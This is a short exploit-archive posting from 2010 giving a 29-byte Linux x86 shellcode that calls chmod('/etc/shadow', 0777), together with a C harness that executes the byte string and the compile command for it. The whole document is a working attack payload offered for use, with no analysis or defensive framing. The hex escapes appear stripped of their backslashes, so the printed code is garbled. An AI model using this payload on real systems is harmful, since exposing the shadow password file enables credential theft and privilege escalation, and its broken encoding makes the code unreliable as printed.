linux/x86 chmod("/etc/shadow", 0777) shellcode 29
Posted on 19 April 2010
======================================================= linux/x86 chmod("/etc/shadow", 0777) shellcode 29 bytes ======================================================= #include <stdio.h> #include <string.h> /* by Magnefikko 20.04.2010 magnefikko@gmail.com promhyl.oz.pl Subgroup: #PRekambr Name: 29 bytes chmod("/etc/shadow", 0777) shellcode Platform: Linux x86 chmod("/etc/shadow", 0777); gcc -Wl,-z,execstack filename.c shellcode: x31xc0x50x68x61x64x6fx77x68x63x2fx73x68x68x2fx2fx65x74x89xe3x66x68xffx01x59xb0x0fxcdx80 */ int main(){ char shell[] = "x31xc0x50x68x61x64x6fx77x68x63x2fx73x68x68x2fx2fx65x74x89xe3x66x68xffx01x59xb0x0fxcdx80"; printf("by Magnefikko magnefikko@gmail.com promhyl.oz.pl strlen(shell) = %d ", strlen(shell)); (*(void (*)()) shell)(); } # Inj3ct0r.com [2010-04-19]